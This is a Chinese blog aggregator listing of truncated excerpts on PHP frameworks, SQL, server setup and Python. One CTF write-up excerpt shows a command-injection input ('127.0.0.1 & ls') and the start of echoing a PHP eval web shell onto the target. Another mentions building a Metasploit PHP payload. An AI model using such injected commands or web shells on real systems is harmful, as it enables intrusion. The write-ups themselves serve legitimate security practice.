ThinkPHP 3.1.3及之前的版本存在一个SQL注入漏洞,漏洞存在于ThinkPHP/Lib/Core/Model.class.php 文件根据官方文档对"防止SQL注入"的方法解释(见http://doc.thinkphp.cn/manual/sql_injection.html)使用查询条 ...
分类：
数据库 时间：
2020-03-05 01:08:01
阅读次数：
339
1、安装PHP集成环境 为了省事，直接找一个PHP的集成环境，这也是第一步 之前一直用的appserv，后来一直在用phpstudy（其实appserv、phpstudy、xampp、wampserver感觉都差不多） 首先要看PHP的版本 因为要去对应的目录下修改他的配置文件 因为我一开始安装dv ...
分类：
其他好文 时间：
2020-03-04 23:31:08
阅读次数：
89
laravel 使用 php artisan config:cache 后 系统就会读取所有的配置文件集中到一起写入缓存，那么如果代码中 使用 env() 辅助函数获取 .env 里面的配置项就不起作用了!! 引用文档原话：If you execute the config:cache comman ...
分类：
系统相关 时间：
2020-03-04 22:51:45
阅读次数：
106
1、概念 虚拟主机：或称共享主机，又称虚拟服务器，是一种在单一主机或主机群上，实现多网域服务的方法，可以运行多个网站或服务的技术。 虚拟主机技术在公司只有一台实际主机的情况下，可以同时对外提供多个网站服务，让用户使用不同的域名访问到不同的网站，从而节省 硬件成本 ，更好的利用服务器资源。 虚拟主机就 ...
分类：
其他好文 时间：
2020-03-04 21:09:31
阅读次数：
78
表单提交： 前端： form提交方式两种：post,get; 文件上传 <input type=”file”>-->enctype="multipart/form-data"; 验证：onsubmit=”return sub();” 后端(php)： 接受数据：$_POST; $_GET; $_RE ...
分类：
Web程序 时间：
2020-03-04 20:49:19
阅读次数：
96
PhalApi是一款国人制作的PHP纯后端框架。它的开发相当简单，同时也具备文档生成等特色功能。下面，我通过简单的几点，让你可以快速入门使用该框架的开发。 建议使用PHPStorm作为IDE，代码提示相当完全。由于PHP的热更新特性，修改过的PHP文件保存后立即生效，无需编译，无需重启服务器。 什么 ...
练习地址:https://leetcode-cn.com/problems/combine-two-tables/ 表1: Person + + + | 列名 | 类型 | + + + | PersonId | int | | FirstName | varchar | | LastName | v ...
分类：
编程语言 时间：
2020-03-04 19:14:25
阅读次数：
85
一个简单的ping，还没有过滤，源码也给出来了 ls一下 127.0.0.1 & ls 有一个可疑的php文件，，，但是直接访问和 cat 都出不来。。。 试了几下反弹shell，没成功。。。于是直接用echo了一个一句话进去 127.0.0.1 & echo "<?php eval(@\$_POS ...
分类：
Web程序 时间：
2020-03-04 19:00:03
阅读次数：
495
一 情景 本地kali linux 192.168.1.2 目标 windows NT 服务器192.168.1.4 目的是获取shell 二 过程 首先在linux建立终端 ，msfconsole 建立php的payload，shell.php root@simpleedu:~# rz root@ ...
Python是一种计算机编程语言。计算机编程语言和我们日常使用的自然语言有所不同，最大的区别就是，自然语言在不同的语境下有不同的理解，而计算机要根据编程语言执行任务，就必须保证编程语言写出的程序决不能有歧义，所以，任何一种编程语言都有自己的一套语法，编译器或者解释器就是负责把符合语法的程序代码转换成 ...
分类：
编程语言 时间：
2020-03-04 17:37:38
阅读次数：
88
